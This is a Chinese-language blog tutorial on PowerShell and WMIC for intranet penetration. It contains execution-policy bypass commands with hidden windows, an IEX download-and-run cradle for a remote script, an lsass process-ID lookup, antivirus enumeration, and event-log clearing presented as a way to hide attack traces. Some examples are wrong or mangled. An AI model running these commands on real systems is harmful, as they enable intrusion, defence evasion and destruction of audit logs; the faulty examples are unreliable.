内网渗透|内网渗透 | powershell&wmic详解


文章目录

  • 引子
  • PowerShell
    • 0x001基本概念
    • 0x002命令格式
    • 0x003基本使用
    • 0x004常用命令
    • 0x005powershell脚本
    • 0x006参考文章
  • WMIC
    • 0x001基本概念
    • 0x002命令格式
    • 0x003常用命令
      • 1、目标系统相关
      • 2、用户管理
    • 0x004参考文章

引子
之前在内网渗透,免杀中到处能看到powershell和wmic的身影,功能还是非常强大的,但一直没有系统的学习过他们,对他们还是一知半解,现在有空了系统的学习下并记录学习笔记。
PowerShell 0x001基本概念
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。内置在Windows版本中,可以看成是cmd命令的扩充,所包含的命令兼容cmd。
0x002命令格式 在powershell下,类似cmd命令叫做cmdlet(command-let)。
cmdlet是本机PowerShell命令,而不是独立的可执行文件。cmdlet收集在 PowerShell模块中,可按需加载。可以用任何编译的.NET 语言或PowerShell 脚本语言本身来编写cmdlet。
cmdlet命名比较规范都采用”动词-名词“的形式。
动词标识cmdlet执行的操作,名词标识该cmdlet执行其操作的所在资源。
动词一般为Add、New、Get、Remove、Set、Clear等,名词一般都是动词作用的资源。
0x003基本使用 get-help来查看帮助。
内网渗透|内网渗透 | powershell&wmic详解
文章图片

get-command查看powershell支持的命令,有很多的命令,这里只截取一部分。
CommandType Name Definition
表示命令类型,Alias是别名、Cmdlet是powershell格式的命令、Function是函数 具体的命令 命令功能的简单描述。
![(https://img-blog.csdnimg.cn/944b4cec34114fc3b4852c2d48b3d9aa.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAMWFuY2Uu,size_20,color_FFFFFF,t_70,g_se,x_16)
内网渗透|内网渗透 | powershell&wmic详解
文章图片

内网渗透|内网渗透 | powershell&wmic详解
文章图片

0x004常用命令 命令不缺分大小写且支持tab补全。
  • 文件目录操作
new-item 123 -itemtype Directory#新建123目录 new-item 123.txt -itemtype file#新建123.txt文件 set-content 123.txt -value "Hello,word!"#设置123.txt文件内容 get-content 123.txt#显示123.txt文件内容 add-content 123.txt -value "LOVE"#追加内容 clear-content 123.txt#清除文件内容 remove-item 123.txt#删除123.txt文件 remove-item 123#删除123目录 get-childitem#显示当前路径下的文件和目录

内网渗透|内网渗透 | powershell&wmic详解
文章图片

  • Get类
Get-Command#得到所有PowerShell命令,获取有关 cmdlet 以及有关 Windows PowerShell 命令的其他元素的基本信息。#包括Cmdlet、Alias、Function。 Get-Process#获取所有进程 Get-Help#显示有关 Windows PowerShell 命令和概念的信息 Get-History#获取在当前会话中输入的命令的列表 Get-Job#获取在当前会话中运行的 Windows PowerShell 后台作业 Get-FormatData #获取当前会话中的格式数据 Get-Event#获取事件队列中的事件 Get-Alias#获取当前会话的别名 Get-Culture#获取操作系统中设置的当前区域性 Get-Date#获取当前日期和时间 Get-Host#获取表示当前主机程序的对象 Get-Member#获取对象的属性和方法。 如:$var = 3 $var | get-memberGet-Random#从集合中获取随机数或随机选择对象 Get-UICulture#获取操作系统中当前用户界面 (UI) 区域性设置 Get-Unique#从排序列表返回唯一项目 Get-Variable#获取当前控制台中的变量 Get-EventLog#获取本地或远程计算机上的事件日志或事件日志列表中的事件 Get-ChildItem#获取一个或多个指定位置中的项和子项 Get-Content#获取指定位置的项的内容 Get-ItemProperty #获取指定项的属性 Get-WmiObject#获取 Windows Management Instrumentation (WMI) 类的实例或可用类的相关信息 Get-Location#获取当前工作位置的相关信息(如:F:\Users\TaoMin ) Get-PSDrive#获取当前会话中的 Windows PowerShell 驱动器 Get-Item#获取位于指定位置的项 Get-Service#获取本地或远程计算机上的服务 Get-Transaction #获取当前(活动)事务 Get-ExecutionPolicy#获取当前会话中的执行策略

  • Set类
Set-Alias#在当前 Windows PowerShell 会话中为 cmdlet 或其他命令元素创建或更改别名(替代名称) 如:Set-Alias aaa Get-Command Set-PSDebug#打开和关闭脚本调试功能,设置跟踪级别并切换 strict 模式 Set-StrictMode#建立和强制执行表达式、脚本和脚本块中的编码规则 Set-Date#将计算机上的系统时间更改为指定的时间 Set-Variable#设置变量的值,如果该变量还不存在,则创建该变量 Set-PSBreakpoint #在行、命令或者变量上设置断点 Set-Location#将当前工作位置设置为指定的位置 Set-Item#将项的值更改为命令中指定的值 Set-Service#启动、停止和挂起服务并更改服务的属性 Set-Content#在项中写入内容或用新内容替换其中的内容 Set-ItemProperty #创建或更改某一项的属性值 Set-WmiInstance#创建或更新现有 Windows Management Instrumentation (WMI) 类的实例 Set-ExecutionPolicy #更改 Windows PowerShell 执行策略的用户首选项。

  • Write类
Write-Host#将自定义输出内容写入主机。类似于.net的 write()或者writeline()功能 Write-Progress#在 Windows PowerShell 命令窗口内显示进度栏 Write-Debug#将调试消息写入控制台 Write-Verbose#将文本写入详细消息流 Write-Warning#写入警告消息 Write-Error#将对象写入错误流 Write-Output#将指定对象发送到管道中的下一个命令;如果该命令是管道中的最后一个命令,则在控制台上显示这些对象 Write-EventLog#将事件写入事件日志

0x005powershell脚本
powershell脚本其实是简单的文本文件,文件包含了一系列powershell命令,每个命令显示为独立的一行,脚本文件后缀为.ps1
执行脚本: 为了防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略设为受限。
Get-ExecutionPolicy获取当前会话中的执行策略
内网渗透|内网渗透 | powershell&wmic详解
文章图片

Restricted:脚本不能运行(默认设置)。 RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。 AllSigned:仅当脚本由受信任的发布者签名时才能运行。 Unrestricted:允许所有的script运行。

可通过Set-ExecutionPolicy 修改执行策略。
脚本编写可参考文章:https://www.jianshu.com/p/b69040c074b7
绕过执行策略执行脚本:
  1. 绕过本地权限执行
    上传shell.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。
    powerShell.exe -ExecutionPolicy Bypass -File shell.ps1

  2. 本地隐藏绕过权限执行脚本
    powerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File shell.ps1

  3. 用IEX下载远程PS1脚本绕过权限执行
    PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("shell.ps1"); [Parameters]

下面对上述命令的参数进行说明,如下所示。
ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。 WindowStyle Hidden:隐藏窗口。 NoLogo:启动不显示版权标志的PowerShell。 Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。 NoProfile(-NoP): PowerShell控制台不加载当前用户的配置文件。 Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

0x006参考文章 https://www.jianshu.com/p/b69040c074b7
https://www.cnblogs.com/lsdb/p/9531338.html
官方文档
WMIC 0x001基本概念
wmi 命令行 (WMIC) 实用工具提供 Windows Management Instrumentation (WMI) 的命令行接口。 WMIC 与现有 shell 和实用工具命令兼容。 官方文档
0x002命令格式 包含全局开关,“动词”,函数别名即名词。命令格式和PowerShell一样也是"动词+名词+参数"。
  • 全局开关
    全局开关是可以全局设置或根据需要设置的 WMIC 选项,WMIC全局选项可以用来设置WMIC环境的各种属性,通过结合各种全局选项以及参数,我们就可以通过WMIC环境来管理整个系统了。
    名称 描述
    /NAMESPACE 别名在其上操作的命名空间的路径。
    /ROLE 包含别名定义的角色的路径。
    /NODE 别名在其上操作的服务器。
    /IMPLEVEL 客户端模拟级别。
    /AUTHLEVEL 客户端身份验证级别。
    /LOCALE 客户端应使用的语言 ID。
    /PRIVILEGES 启用或禁用所有权限。
    /TRACE 将调试信息输出到 stderr。
    /RECORD 记录所有输入命令和输出内容。
    /INTERACTIVE 设置或重置交互模式。
    /FAILFAST 设置或重置 FailFast 模式。
    /USER 会话期间要使用的用户。
    /PASSWORD 登录会话时要使用的密码。
    /OUTPUT 指定输出重定向模式。
    /APPEND 指定输出重定向模式。
    /AGGREGATE 设置或重置聚合模式。
    /AUTHORITY 指定连接的 <授权类型>。
    /?[:] 用法信息。/NAMESPACE /?:BRIEF
  • 动词
  1. ASSOC: 返回查询的结果 Associators of () ,其中 是 路径 或 类 命令返回的对象的路径。 结果是与对象关联的实例。 将 ASSOC 与别名一起使用时,将返回具有别名的类的类。 默认情况下,以 HTML 格式返回输出。eg:OS ASSOC
    ASSOC 谓词具有以下开关。
    开关 说明
    /RESULTCLASS: < classname> 与源对象关联的返回终结点必须属于或派生自指定的类。
    /RESULTROLE: <> 返回的终结点必须在与源对象的关联中扮演特定角色。
    /ASSOCCLASS: < ASSOCCLASS> 返回的终结点必须通过指定的类或其派生类之一与源关联。
  2. CALL: 执行方法。启动telnet服务:
    CAPTION = 'TELNET' CALL STARTSERVICE
  3. CREATE: 创建一个新的实例,并设置属性值。 CREATE 不能用于创建新类。eg: 环境变量名称 = "TEMP"; VARIABLEVALUE = "https://www.it610.com/article/NEW"
  4. DELETE: 删除当前实例或实例集。可以使用 DELETE 来删除类。eg:NAME = "CALC.EXE" DELETE process
  5. GET: 获取特点属性的值。
    eg: PROCESS where name="lsass.exe" get processid
  6. List: 显示数据。
  • 函数别名
当前角色中可以使用以下别名: ALIAS- 对本地系统上可用别名的访问 BASEBOARD- 基板(也称为主板或系统板)管理。 BIOS- 基本输入/输出服务(BIOS)管理。 BOOTCONFIG- 启动配置管理。 CDROM- CD-ROM 管理。 COMPUTERSYSTEM- 计算机系统管理。 CPU- CPU 管理。 CSPRODUCT- SMBIOS 中的计算机系统产品信息。 DATAFILE- 数据文件管理。 DCOMAPP- DCOM 应用程序管理。 DESKTOP- 用户的桌面管理。 DESKTOPMONITOR- 桌面监视器管理。 DEVICEMEMORYADDRESS- 设备内存地址管理。 DISKDRIVE- 物理磁盘驱动器管理。 DISKQUOTA- 用于 NTFS 卷的磁盘空间使用量。 DMACHANNEL- 直接内存访问(DMA)通道管理。 ENVIRONMENT- 系统环境设置管理。 FSDIR- 文件系统目录项管理。 GROUP- 组帐户管理。 IDECONTROLLER- IDE 控制器管理。 IRQ- 中断请求线路(IRQ)管理。 JOB- 提供对使用计划服务安排的作业的访问。 LOADORDER- 定义执行依赖关系的系统服务的管理。 LOGICALDISK- 本地存储设备管理。 LOGON- 登录会话。 MEMCACHE- 缓存内存管理。 MEMORYCHIP- 内存芯片信息。 MEMPHYSICAL- 计算机系统的物理内存管理。 NETCLIENT- 网络客户端管理。 NETLOGIN- 网络登录信息(属于特定用户)管理。 NETPROTOCOL- 协议(及其网络特征)管理。 NETUSE- 活动网络连接管理。 NIC- 网络接口控制器(NIC)管理。 NICCONFIG- 网络适配器管理。 NTDOMAIN- NT 域管理。 NTEVENT- NT 事件日志中的项目。 NTEVENTLOG- NT 事件日志文件管理。 ONBOARDDEVICE- 主板(系统板)中内置的通用适配器设备的管理。 OS- 已安装操作系统的管理。 PAGEFILE- 虚拟内存文件交换管理。 PAGEFILESET- 页面文件设置管理。 PARTITION- 物理磁盘的已分区区域的管理。 PORT- I/O 端口管理。 PORTCONNECTOR- 物理连接端口管理。 PRINTER- 打印机设备管理。 PRINTERCONFIG- 打印机设备配置管理。 PRINTJOB- 打印作业管理。 PROCESS- 进程管理。 PRODUCT- 安装程序包任务管理。 QFE- 快速修复工程。 QUOTASETTING- 卷上的磁盘配额设置信息。 RDACCOUNT- 远程桌面连接权限管理。 RDNIC- 对特定网络适配器的远程桌面连接管理。 RDPERMISSIONS- 特定远程桌面连接的权限。 RDTOGGLE- 远程打开或关闭远程桌面侦听程序。 RECOVEROS- 操作系统出现故障时将从内存收集的信息。 REGISTRY- 计算机系统注册表管理。 SCSICONTROLLER- SCSI 控制器管理。 SERVER- 服务器信息管理。 SERVICE- 服务应用程序管理。 SHADOWCOPY- 卷影副本管理。 SHADOWSTORAGE- 卷影副本存储区域管理。 SHARE- 共享资源管理。 SOFTWAREELEMENT- 系统上安装的软件产品元素的管理。 SOFTWAREFEATURE- SoftwareElement 的软件产品子集的管理。 SOUNDDEV- 声音设备管理。 STARTUP- 当用户登录到计算机系统时自动运行的命令的管理。 SYSACCOUNT- 系统帐户管理。 SYSDRIVER- 基本服务的系统驱动程序管理。 SYSTEMENCLOSURE- 物理系统外壳管理。 SYSTEMSLOT- 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。 TAPEDRIVE- 磁带驱动器管理。 TEMPERATURE- 温度传感器(电子温度计)数据管理。 TIMEZONE- 时区数据管理。 UPS- 不间断电源(UPS)管理。 USERACCOUNT- 用户帐户管理。 VOLTAGE- 电压传感器(电子电压表)数据管理。 VOLUME- 本地存储卷管理。 VOLUMEQUOTASETTING- 将磁盘配额设置与特定磁盘卷相关联。 VOLUMEUSERQUOTA- 每用户存储卷配额管理。 WMISET- WMI 服务操作参数管理。有关特定别名的详细信息,请键入: alias /?CLASS- 按 Esc 键可获取完整 WMI 架构。 PATH- 按 Esc 键可获取完整 WMI 对象路径。 CONTEXT- 显示所有全局开关的状态。 QUIT/EXIT - 退出程序。

0x003常用命令 注意:请不要在本机上试验命令。
1、目标系统相关
  1. 获取主机名,域名,制造商,设备型号,用户名,用户名角色。
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list

  1. 获取账户名、安装日期、本地组成员状态、域名、SID以及相应的状态。
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status

  1. 创建进程。
wmic process call create "taskmgr.exe"

  1. 修改进程优先级
    降低某个进程的优先级可能会导致特定的应用程序发生崩溃,而提升某个进程的优先级甚至还会导致整个系统发生崩溃。bypass杀软
wmic process where name="explorer.exe" call set priority 64

  1. 终止进程
wmic process where name="explorer.exe" call terminate

  1. 获取可执行文件列表
    枚举出整个系统中所有可执行文件的路径地址
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath

  1. 获取目录属性
    WMIC命令的fsdir选项可以提取目标系统中文件目录的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等:
wmic fsdir where "drive='C:' and filename='test'" get /format:list

  1. 获取文件属性
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list

  1. 定位系统文件
    WMIC可以提取出所有重要系统文件的路径
wmic environment get Description, VariableValue

  1. 获取已安装的应用系统程序
wmic product get name

  1. 获取目标系统正在运行的服务
wmic service where (state="running") get caption, name, startmode

  1. 获取操作系统详情
    os选项可以列举出目标系统的上一次启动时间、注册的用户数量、处理器数量、物理/虚拟内存信息和安装的操作系统类型等等。
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses, NumberofUsers, Organization, Status /format:list

  1. 获取系统驱动详情
    sysdrive选项可以枚举出驱动的名称、路径和服务类型等数据。
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list

  1. 获取主板信息和BIOS序列号
wmic baseboard get Manufacturer, Product, SerialNumber, Version wmic bios get serialNumber

  1. 获取内存缓存数据
    memcache选项可以获取到内存缓存名和块大小等信息:
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status

  1. 获取内存芯片信息
    memorychip选项可以获取到RAM的相关信息,例如序列号等等:
wmic memorychip get PartNumber, SerialNumber

  1. 判断目标系统是否为虚拟机
    根据onboarddevice选项返回的信息来判断目标系统到底是真实的主机操作系统,还是一台虚拟机(VMware或Virtual Box):
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list

2、用户管理
  1. 锁定用户账号
    使用useraccount选项来锁定本地用户账号:
wmic useraccount where name='demo' set disabled=false

  1. 用户账号重命名
wmic useraccount where name='demo' rename test

  1. 限制用户修改密码
    限制本地用户的密码修改操作:
wmic useraccount where name='test' set passwordchangeable=false

  1. 获取反病毒产品详情
    枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe

  1. 清理系统日志
    WMIC命令的nteventlog选项还可以清除系统的日志记录,当你入侵了某个系统之后,这个命令可以帮助你掩盖攻击痕迹:
wmic nteventlog where filename='system'call cleareventlog wmic nteventlog where (description like "%webshell%")call cleareventlog

0x004参考文章 【内网渗透|内网渗透 | powershell&wmic详解】https://blog.csdn.net/discover2210212455/article/details/82711930
https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
https://www.cnblogs.com/DiZhang/p/12544793.html
https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic?redirectedfrom=MSDN

    推荐阅读